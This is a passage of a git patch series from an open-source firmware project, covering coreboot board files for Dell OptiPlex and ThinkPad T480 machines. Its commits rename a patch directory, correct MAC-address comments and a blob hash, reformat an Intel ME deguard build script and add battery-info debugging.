GPIO_MODE_GPIO, -+ .gpio36 = GPIO_MODE_GPIO, -+ .gpio37 = GPIO_MODE_GPIO, -+ .gpio38 = GPIO_MODE_GPIO, -+ .gpio39 = GPIO_MODE_GPIO, -+ .gpio40 = GPIO_MODE_NATIVE, -+ .gpio41 = GPIO_MODE_NATIVE, -+ .gpio42 = GPIO_MODE_NATIVE, -+ .gpio43 = GPIO_MODE_NATIVE, -+ .gpio44 = GPIO_MODE_NATIVE, -+ .gpio45 = GPIO_MODE_NATIVE, -+ .gpio46 = GPIO_MODE_NATIVE, -+ .gpio47 = GPIO_MODE_NATIVE, -+ .gpio48 = GPIO_MODE_GPIO, -+ .gpio49 = GPIO_MODE_GPIO, -+ .gpio50 = GPIO_MODE_NATIVE, -+ .gpio51 = GPIO_MODE_NATIVE, -+ .gpio52 = GPIO_MODE_NATIVE, -+ .gpio53 = GPIO_MODE_NATIVE, -+ .gpio54 = GPIO_MODE_GPIO, -+ .gpio55 = GPIO_MODE_NATIVE, -+ .gpio56 = GPIO_MODE_GPIO, -+ .gpio57 = GPIO_MODE_GPIO, -+ .gpio58 = GPIO_MODE_NATIVE, -+ .gpio59 = GPIO_MODE_NATIVE, -+ .gpio60 = GPIO_MODE_GPIO, -+ .gpio61 = GPIO_MODE_NATIVE, -+ .gpio62 = GPIO_MODE_NATIVE, -+ .gpio63 = GPIO_MODE_NATIVE, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_direction = { -+ .gpio32 = GPIO_DIR_INPUT, -+ .gpio33 = GPIO_DIR_INPUT, -+ .gpio34 = GPIO_DIR_INPUT, -+ .gpio35 = GPIO_DIR_OUTPUT, -+ .gpio36 = GPIO_DIR_INPUT, -+ .gpio37 = GPIO_DIR_INPUT, -+ .gpio38 = GPIO_DIR_INPUT, -+ .gpio39 = GPIO_DIR_INPUT, -+ .gpio48 = GPIO_DIR_INPUT, -+ .gpio49 = GPIO_DIR_OUTPUT, -+ .gpio54 = GPIO_DIR_INPUT, -+ .gpio56 = GPIO_DIR_OUTPUT, -+ .gpio57 = GPIO_DIR_INPUT, -+ .gpio60 = GPIO_DIR_OUTPUT, -+}; -+ -+static const struct pch_gpio_set2 pch_gpio_set2_level = { -+ .gpio35 = GPIO_LEVEL_LOW, -+ .gpio49 = GPIO_LEVEL_HIGH, -+ .gpio56 = GPIO_LEVEL_HIGH, -+ .gpio60 = GPIO_LEVEL_LOW, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_mode = { -+ .gpio72 = GPIO_MODE_GPIO, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_direction = { -+ .gpio72 = GPIO_DIR_INPUT, -+}; -+ -+static const struct pch_gpio_set3 pch_gpio_set3_level = { -+}; -+ -+const struct pch_gpio_map mainboard_gpio_map = { -+ .set1 = { -+ .mode = &pch_gpio_set1_mode, -+ .direction = &pch_gpio_set1_direction, -+ .level = &pch_gpio_set1_level, -+ .blink = &pch_gpio_set1_blink, -+ .invert = &pch_gpio_set1_invert, -+ }, -+ .set2 = { -+ .mode = &pch_gpio_set2_mode, -+ .direction = &pch_gpio_set2_direction, -+ .level = &pch_gpio_set2_level, -+ }, -+ .set3 = { -+ .mode = &pch_gpio_set3_mode, -+ .direction = &pch_gpio_set3_direction, -+ .level = &pch_gpio_set3_level, -+ }, -+}; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c -new file mode 100644 -index 0000000000..c94e06b156 ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/hda_verb.c -@@ -0,0 +1,26 @@ -+/* SPDX-License-Identifier: GPL-2.0-or-later */ -+ -+#include -+ -+const u32 cim_verb_data[] = { -+ /* coreboot specific header */ -+ 0x11d4194a, /* Analog Devices AD1984A */ -+ 0x10280420, /* Subsystem ID */ -+ 10, /* Number of entries */ -+ -+ /* Pin Widget Verb Table */ -+ AZALIA_PIN_CFG(0, 0x11, 0x02214040), -+ AZALIA_PIN_CFG(0, 0x12, 0x01014010), -+ AZALIA_PIN_CFG(0, 0x13, 0x991301f0), -+ AZALIA_PIN_CFG(0, 0x14, 0x02a19020), -+ AZALIA_PIN_CFG(0, 0x15, 0x01813030), -+ AZALIA_PIN_CFG(0, 0x16, 0x413301f0), -+ AZALIA_PIN_CFG(0, 0x17, 0x41a601f0), -+ AZALIA_PIN_CFG(0, 0x1a, 0x41f301f0), -+ AZALIA_PIN_CFG(0, 0x1b, 0x414501f0), -+ AZALIA_PIN_CFG(0, 0x1c, 0x413301f0), -+}; -+ -+const u32 pc_beep_verbs[0] = {}; -+ -+AZALIA_ARRAY_SIZES; -diff --git a/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb -new file mode 100644 -index 0000000000..555b1c1f5c ---- /dev/null -+++ b/src/mainboard/dell/optiplex_780/variants/780_usff/overridetree.cb -@@ -0,0 +1,10 @@ -+## SPDX-License-Identifier: GPL-2.0-or-later -+ -+chip northbridge/intel/x4x -+ device domain 0 on -+ chip southbridge/intel/i82801jx -+ device pci 1c.0 on end # PCIe 1 -+ device pci 1c.1 on end # PCIe 2 -+ end -+ end -+end --- -2.39.5 - diff --git a/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch b/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch deleted file mode 100644 index daeb0fa19..000000000 --- a/patches/coreboot-2412/0008-dell-3050micro-disable-nvme-hotplug.patch +++ /dev/null @@ -1,49 +0,0 @@ -From c8192c52b2bfa93aeb6c6639476ca217e33c4313 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Wed, 11 Dec 2024 01:06:01 +0000 -Subject: [PATCH 08/11] dell/3050micro: disable nvme hotplug - -in my testing, when running my 3050micro for a few days, -the nvme would sometimes randomly rename. - -e.g. nvme0n1 renamed to nvme0n2 - -this might cause crashes in linux, if booting only from the -nvme. in my case, i was booting from mdraid (sata+nvme) and -every few days, the nvme would rename at least once, causing -my RAID to become unsynced. since i'm using RAID1, this was -OK and I could simply re-sync the array, but this is quite -precarious indeed. if you're using raid0, that will potentially -corrupt your RAID array indefinitely. - -this same issue manifested on the T480/T480 thinkpads, and -S3 resume would break because of that, when booting from nvme, -because the nvme would be "unplugged" and appear to linux as a -new device (the one that you booted from). - -the fix there was to disable hotplugging on that pci-e slot -for the nvme, so apply the same fix here for 3050 micro - -Signed-off-by: Leah Rowe ---- - src/mainboard/dell/optiplex_3050/devicetree.cb | 4 +++- - 1 file changed, 3 insertions(+), 1 deletion(-) - -diff --git a/src/mainboard/dell/optiplex_3050/devicetree.cb b/src/mainboard/dell/optiplex_3050/devicetree.cb -index 039709aa4a..0678ed1765 100644 ---- a/src/mainboard/dell/optiplex_3050/devicetree.cb -+++ b/src/mainboard/dell/optiplex_3050/devicetree.cb -@@ -45,7 +45,9 @@ chip soc/intel/skylake - register "PcieRpAdvancedErrorReporting[20]" = "1" - register "PcieRpLtrEnable[20]" = "1" - register "PcieRpClkSrcNumber[20]" = "3" -- register "PcieRpHotPlug[20]" = "1" -+# disable hotplug on nvme to prevent renaming e.g. nvme0n1 rename to nvme0n2, -+# which could cause crashes in linux if booting from nvme -+ register "PcieRpHotPlug[20]" = "0" - end - - # Realtek LAN --- -2.39.5 - diff --git a/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch b/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch deleted file mode 100644 index 228170eb5..000000000 --- a/patches/coreboot-2412/0010-soc-intel-skylake-Don-t-compress-FSP-S.patch +++ /dev/null @@ -1,36 +0,0 @@ -From f08dbaacf747eb198bbc8f83e0220ca803f19116 Mon Sep 17 00:00:00 2001 -From: Leah Rowe -Date: Thu, 26 Dec 2024 19:45:20 +0000 -Subject: [PATCH 10/11] soc/intel/skylake: Don't compress FSP-S - -Build systems like lbmk need to reproducibly insert -certain vendor files on release images. - -Compression isn't always reproducible, and making it -so costs a lot more time than simply disabling compression. - -With this change, the FSP-S module will now be inserted -without compression, which means that there will now be -about 40KB of extra space used in the flash. - -Signed-off-by: Leah Rowe ---- - src/soc/intel/skylake/Kconfig | 2 +- - 1 file changed, 1 insertion(+), 1 deletion(-) - -diff --git a/src/soc/intel/skylake/Kconfig b/src/soc/intel/skylake/Kconfig -index c24df2ef75..8e25f796ed 100644 ---- a/src/soc/intel/skylake/Kconfig -+++ b/src/soc/intel/skylake/Kconfig -@@ -12,7 +12,7 @@ config SOC_INTEL_COMMON_SKYLAKE_BASE - select CPU_SUPPORTS_PM_TIMER_EMULATION - select DRIVERS_USB_ACPI - select EDK2_CPU_TIMER_LIB if PAYLOAD_EDK2 -- select FSP_COMPRESS_FSP_S_LZ4 -+# select FSP_COMPRESS_FSP_S_LZ4 - select FSP_M_XIP - select GENERIC_GPIO_LIB - select HAVE_FSP_GOP --- -2.39.5 - From 0d53e8a3854b1de911a3b4f70d7fa0f9fb4a8962 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 12:11:57 -0500 Subject: [PATCH 521/619] rename coreboot-2412 to coreboot-24.12 for versioning consistency, move patches, point board configs to version change Signed-off-by: Thierry Laurion --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- modules/coreboot | 6 +++--- .../0001-soc-intel-skylake-configure-usb-acpi.patch | 0 ...c-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch | 0 ...003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch | 0 ...9-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch | 0 ...-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch | 0 .../0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch | 0 ...c-intel-skylake-Disable-stack-overflow-debug-optio.patch | 0 .../0014-src-intel-x4x-Disable-stack-overflow-debug.patch | 0 .../85278-post-skylake-pr0.patch | 0 12 files changed, 5 insertions(+), 5 deletions(-) rename patches/{coreboot-2412 => coreboot-24.12}/0001-soc-intel-skylake-configure-usb-acpi.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/0014-src-intel-x4x-Disable-stack-overflow-debug.patch (100%) rename patches/{coreboot-2412 => coreboot-24.12}/85278-post-skylake-pr0.patch (100%) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 1dcf97b81..9e4d4ddba 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -8,7 +8,7 @@ # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=2412 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index ee20f0c43..4082cdf06 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -8,7 +8,7 @@ # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) export CONFIG_COREBOOT=y -export CONFIG_COREBOOT_VERSION=2412 +export CONFIG_COREBOOT_VERSION=24.12 export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-t480-maximized.config diff --git a/modules/coreboot b/modules/coreboot index 5a022ed4a..1ff9b6497 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -104,10 +104,10 @@ $(eval $(call coreboot_module,dasharo,24.02.01)) # Therefore, patches/coreboot-2412 includes libreboot patches applied to 24.12 release # patches/coreboot-2412 also includes PR0 patchset, minus xeon support which don't apply to 24.12 as per https://review.coreboot.org/c/coreboot/+/85278 # TODO: @miczyg1 rebase of patchset so that doenstream don't have to maintain, adapt work -coreboot-2412_repo := https://review.coreboot.org/coreboot.git -coreboot-2412_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a +coreboot-24.12_repo := https://review.coreboot.org/coreboot.git +coreboot-24.12_commit_hash := 2f1e4e5e8515dd350cc9d68b48d32a5b6b02ae6a #Don't reuse any coreboot buildstack for now since nothing else is based on 24.12 -$(eval $(call coreboot_module,2412,)) +$(eval $(call coreboot_module,24.12,)) # Check that the board configured the coreboot version correctly ifeq "$(CONFIG_COREBOOT_VERSION)" "" diff --git a/patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch b/patches/coreboot-24.12/0001-soc-intel-skylake-configure-usb-acpi.patch similarity index 100% rename from patches/coreboot-2412/0001-soc-intel-skylake-configure-usb-acpi.patch rename to patches/coreboot-24.12/0001-soc-intel-skylake-configure-usb-acpi.patch diff --git a/patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-24.12/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch similarity index 100% rename from patches/coreboot-2412/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch rename to patches/coreboot-24.12/0002-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch diff --git a/patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch similarity index 100% rename from patches/coreboot-2412/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch rename to patches/coreboot-24.12/0003-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch diff --git a/patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch b/patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch similarity index 100% rename from patches/coreboot-2412/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch rename to patches/coreboot-24.12/0009-lenovo-Add-Kconfig-option-CONFIG_LENOVO_TBFW_BIN.patch diff --git a/patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch b/patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch similarity index 100% rename from patches/coreboot-2412/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch rename to patches/coreboot-24.12/0011-soc-intel-pmc-Hardcoded-poweroff-after-power-fail.patch diff --git a/patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch b/patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch similarity index 100% rename from patches/coreboot-2412/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch rename to patches/coreboot-24.12/0012-ec-dasharo-Comment-EC_DASHARO_EC_FLASH_SIZE.patch diff --git a/patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch b/patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch similarity index 100% rename from patches/coreboot-2412/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch rename to patches/coreboot-24.12/0013-src-intel-skylake-Disable-stack-overflow-debug-optio.patch diff --git a/patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch b/patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch similarity index 100% rename from patches/coreboot-2412/0014-src-intel-x4x-Disable-stack-overflow-debug.patch rename to patches/coreboot-24.12/0014-src-intel-x4x-Disable-stack-overflow-debug.patch diff --git a/patches/coreboot-2412/85278-post-skylake-pr0.patch b/patches/coreboot-24.12/85278-post-skylake-pr0.patch similarity index 100% rename from patches/coreboot-2412/85278-post-skylake-pr0.patch rename to patches/coreboot-24.12/85278-post-skylake-pr0.patch From 82cc4108d67d21ecd8844e2dceb431e0fabd1dd0 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 14 Feb 2025 12:14:18 -0500 Subject: [PATCH 522/619] t480 board configs: add notes that MAC is forged in GBE provided in tree to proper MAC Signed-off-by: Thierry Laurion --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 9e4d4ddba..b1f3da2d5 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged TO:DO:TO:DO:TO:DO MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 4082cdf06..296f32b8d 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged TO:DO:TO:DO:TO:DO MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) From acd6c859db4ec3d13f2e1743c33664a5abe9dfac Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Fri, 14 Feb 2025 23:43:22 +0100 Subject: [PATCH 523/619] fix mac address in t480 config comments Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 2 +- boards/t480-maximized/t480-maximized.config | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index b1f3da2d5..901a761d7 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - Includes Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 296f32b8d..173d6e8ca 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -2,7 +2,7 @@ # # Includes # - Deactivated+neutered ME and expanded consequent IFD BIOS regions -# - Forged GBE MAC address to DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) +# - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # # - DOES NOT INCLUDE Nitrokey/Librem Key HOTP Security dongle remote attestation (in addition to TOTP remote attestation through Qr Code) From 447754e38a41a2a693a5f52517cf9d832c15b6f1 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:29:02 +0100 Subject: [PATCH 524/619] fix whitespace/formatting of download_clean_deguard_me.sh Signed-off-by: gaspar-ilom --- blobs/xx80/download_clean_deguard_me.sh | 45 +++++++++++++------------ 1 file changed, 23 insertions(+), 22 deletions(-) diff --git a/blobs/xx80/download_clean_deguard_me.sh b/blobs/xx80/download_clean_deguard_me.sh index 6bed90435..6d391f9cc 100755 --- a/blobs/xx80/download_clean_deguard_me.sh +++ b/blobs/xx80/download_clean_deguard_me.sh @@ -20,7 +20,8 @@ Download Intel ME firmware from Dell, neutralize and shrink keeping the MFS. } function chk_sha256sum() { - sha256_hash="$1"; filename="$2" + sha256_hash="$1" + filename="$2" echo "$sha256_hash" "$filename" "$(pwd)" sha256sum "$filename" if ! echo "${sha256_hash} ${filename}" | sha256sum --check; then @@ -42,8 +43,8 @@ function chk_exists() { } function download_and_clean() { - me_output="$(realpath "${1}")" - + me_output="$(realpath "${1}")" + # Download and unpack the Dell installer into a temporary directory and # extract the deguardable Intel ME blob. pushd "$(mktemp -d)" || exit @@ -81,26 +82,26 @@ function download_and_clean() { } function deguard() { - me_input="$(realpath "${1}")" - me_output="$(realpath "${2}")" + me_input="$(realpath "${1}")" + me_output="$(realpath "${2}")" - # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. + # Download the deguard tool into a temporary directory and apply the patch to the cleaned ME blob. pushd "$(mktemp -d)" || exit - git clone https://review.coreboot.org/deguard.git - pushd deguard || exit - git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 - - python ./finalimage.py \ - --delta "data/delta/$ME_delta" \ - --version "$ME_version" \ - --pch "$ME_pch" \ - --sku "$ME_sku" \ - --fake-fpfs data/fpfs/zero \ - --input "$me_input" \ - --output "$me_output" - - popd || exit - #Cleanup + git clone https://review.coreboot.org/deguard.git + pushd deguard || exit + git checkout 0ed3e4ff824fc42f71ee22907d0594ded38ba7b2 + + python ./finalimage.py \ + --delta "data/delta/$ME_delta" \ + --version "$ME_version" \ + --pch "$ME_pch" \ + --sku "$ME_sku" \ + --fake-fpfs data/fpfs/zero \ + --input "$me_input" \ + --output "$me_output" + + popd || exit + #Cleanup rm -rf ./* popd || exit } @@ -119,7 +120,7 @@ if [[ "${BASH_SOURCE[0]}" == "$0" ]]; then echo "ERROR: No COREBOOT_DIR variable defined." exit 1 fi - + if [[ ! -f "$me_deguarded" ]] || [ "$retry" = "y" ]; then download_and_clean "$me_cleaned" deguard "$me_cleaned" "$me_deguarded" From 930b9773ec183e66c42dd2541bd993e396016dd0 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:32:18 +0100 Subject: [PATCH 525/619] fix gbe.bin hash for t480 Signed-off-by: gaspar-ilom --- blobs/xx80/hashes.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/blobs/xx80/hashes.txt b/blobs/xx80/hashes.txt index 69f01a4ce..125e52148 100644 --- a/blobs/xx80/hashes.txt +++ b/blobs/xx80/hashes.txt @@ -1,3 +1,3 @@ -6b7f3912995fb87ae62956e009470b35b72b5b9a4bfd7bed48da429af9804866 gbe.bin +d3af2dfbf128bcddfc8c5810a11478697312e5701668f719f80f3f6322db5642 gbe.bin f2f6d5fb0a5e02964b494862032fd93f1f88e2febd9904b936083600645c7fdf ifd.bin 1990b42df67ba70292f4f6e2660efb909917452dcb9bd4b65ea2f86402cfa16b me.bin From 820c38c15b1f9cdf20ff11070238196088c2c738 Mon Sep 17 00:00:00 2001 From: gaspar-ilom Date: Sat, 15 Feb 2025 00:36:52 +0100 Subject: [PATCH 526/619] fix t480 board config comments Signed-off-by: gaspar-ilom --- boards/t480-hotp-maximized/t480-hotp-maximized.config | 4 ++-- boards/t480-maximized/t480-maximized.config | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/boards/t480-hotp-maximized/t480-hotp-maximized.config b/boards/t480-hotp-maximized/t480-hotp-maximized.config index 901a761d7..a04bf8ff1 100644 --- a/boards/t480-hotp-maximized/t480-hotp-maximized.config +++ b/boards/t480-hotp-maximized/t480-hotp-maximized.config @@ -1,7 +1,7 @@ -# Configuration for a T480 running Qubes 4.1 and other Linux Based OSes (through kexec) +# Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # # Includes -# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # diff --git a/boards/t480-maximized/t480-maximized.config b/boards/t480-maximized/t480-maximized.config index 173d6e8ca..5e6a8d1e2 100644 --- a/boards/t480-maximized/t480-maximized.config +++ b/boards/t480-maximized/t480-maximized.config @@ -1,7 +1,7 @@ -# Configuration for a T480 running Qubes 4.1 and other Linux Based OSes (through kexec) +# Configuration for a T480 running Qubes 4.2.3 and other Linux Based OSes (through kexec) # # Includes -# - Deactivated+neutered ME and expanded consequent IFD BIOS regions +# - Deactivated+neutered+deguarded ME and expanded consequent IFD BIOS regions # - Forged GBE MAC address to 00:DE:AD:C0:FF:EE MAC address (if not extracting gbe.bin from backup with blobs/xx80/extract.sh) # - Note that this MAC address can be modified under build/coreboot-VER/util/bincfg/gbe-82579LM.set # From f02ab497a1027fb296ca4b78bf0facf5575993b3 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Tue, 18 Feb 2025 08:45:18 -0500 Subject: [PATCH 527/619] System Info (battery info): dependant functions: add tracing and debug Repro: On QEMU (no battery, debug + tracing on): [ 41.792342] TRACE: /bin/gui-init(383): show_main_menu [ 44.722784] TRACE: /etc/gui_functions(167): show_system_info [ 44.765643] TRACE: /etc/functions(1241): print_battery_charge [ 44.846725] DEBUG: No battery found in /sys/class/power_supply/ [ 44.899241] TRACE: /etc/functions(1224): print_battery_health [ 45.009917] DEBUG: No battery found in /sys/class/power_supply/ Battery info not provided under whiptail output. Info for battery depends on linux kernel enablement. Maybe something missing for t480. Signed-off-by: Thierry Laurion --- initrd/bin/oem-system-info-xx30 | 91 ++++++++++---------- initrd/etc/functions | 32 +++++-- initrd/etc/gui_functions | 145 +++++++++++++++----------------- 3 files changed, 140 insertions(+), 128 deletions(-) diff --git a/initrd/bin/oem-system-info-xx30 b/initrd/bin/oem-system-info-xx30 index 39e51985a..fc98f0925 100755 --- a/initrd/bin/oem-system-info-xx30 +++ b/initrd/bin/oem-system-info-xx30 @@ -1,7 +1,7 @@ #!/bin/bash # System Info -BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} +BOARD_NAME=${CONFIG_BOARD_NAME:-${CONFIG_BOARD}} MAIN_MENU_TITLE="${BOARD_NAME} | Extended System Information" export BG_COLOR_MAIN_MENU="normal" @@ -12,48 +12,47 @@ export BG_COLOR_MAIN_MENU="normal" TRACE_FUNC - battery_charge="$(print_battery_charge)" - battery_health="$(print_battery_health)" - if [ -n $battery_charge -a -n $battery_health ];then - battery_status="\nBattery charge: $battery_charge% Battery health: $battery_health%\n" - fi - - usb="$(lsusb)" - pci="$(lspci)" - - camera="None|Unknown" - if echo "$usb" |grep -s "04f2:b2db"; then camera="Yes"; fi #t430 - if echo "$usb" |grep -s "04f2:b2ea"; then camera="Yes"; fi #x230 - if echo "$usb" |grep -s "5986:02d2"; then camera="Yes"; fi #x230 - - - bluetooth="None|Unkown" - if echo "$usb" |grep -s "0a5c:21e6"; then bluetooth="BCM20702 Bluetooth 4.0"; fi - - wifi="None|Unkown" - if echo "$pci" |grep -s "8086:0085"; then wifi="Intel Centrino Advanced-N 6205"; fi - if echo "$pci" |grep -s "168c:0034"; then wifi="Qualcomm Atheros AR9462"; fi - if echo "$pci" |grep -s "168c:0030"; then wifi="Qualcomm Atheros AR93xx"; fi - - mouse="None|Uknown" - if grep -s "TouchPad" /sys/class/input/mouse*/device/name; then mouse="Synaptic TouchPad"; fi - - know_devices="$(echo -e "Camera: ${camera}\nBluetooth: ${bluetooth}\nWifi: ${wifi}\nMouse: ${mouse}")" - - echo -e "PCI USB" > /tmp/devices_usb_pci - for l in $(seq 16); do - row1="$(echo "$pci"|sed -n ${l}p|cut -d " " -f 5)" - row2="$(echo "$usb"|sed -n ${l}p|cut -d " " -f 6)" - row3="$(echo "$know_devices"|sed -n ${l}p)" - echo "${row1} | ${row2} 